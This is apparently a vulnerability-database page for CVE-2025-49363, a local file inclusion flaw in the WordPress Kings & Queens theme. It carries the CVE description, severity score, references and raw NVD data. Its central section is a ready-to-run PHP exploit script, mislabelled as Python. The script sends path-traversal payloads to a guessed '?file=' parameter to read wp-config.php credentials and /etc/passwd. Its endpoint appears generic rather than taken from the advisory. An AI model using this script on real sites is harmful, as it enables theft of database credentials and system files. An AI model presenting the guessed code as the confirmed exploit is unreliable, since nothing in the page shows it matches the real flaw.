CVE-2025-49363

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Kings & Queens kings-queens allows PHP Local File Inclusion.This issue affects Kings & Queens: from n/a through <= 1.1.16.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Kings & Queens Theme <= 1.1.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-49363 PoC - Kings & Queens LFI
 * Target: WordPress Kings & Queens Theme <= 1.1.16
 * Type: Local File Inclusion
 */

$target = 'http://target-site.com';
$endpoint = '/wp-content/themes/kings-queens/';

// LFI payloads for different files
$payloads = [
    // Read wp-config.php
    '../../wp-config.php',
    // Read /etc/passwd (Linux)
    '../../../../../../etc/passwd',
    // Read Windows config
    '../../../../../../windows/win.ini'
];

foreach ($payloads as $payload) {
    $url = $target . $endpoint . '?file=' . urlencode($payload);
    echo "[*] Testing: $url\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode == 200 && !empty($response)) {
        echo "[+] Success! File content:\n";
        echo $response . "\n\n";
    }
}
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49363
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49363
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49363/
[4] VulDB https://vuldb.com/cve/CVE-2025-49363
[5] https://patchstack.com/database/Wordpress/Theme/kings-queens/vulnerability/wordpress-kings-queens-theme-1-1-16-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49363", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:50.510", "lastModified": "2026-04-27T20:16:12.173", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Kings & Queens kings-queens allows PHP Local File Inclusion.This issue affects Kings & Queens: from n/a through <= 1.1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kings-queens/vulnerability/wordpress-kings-queens-theme-1-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}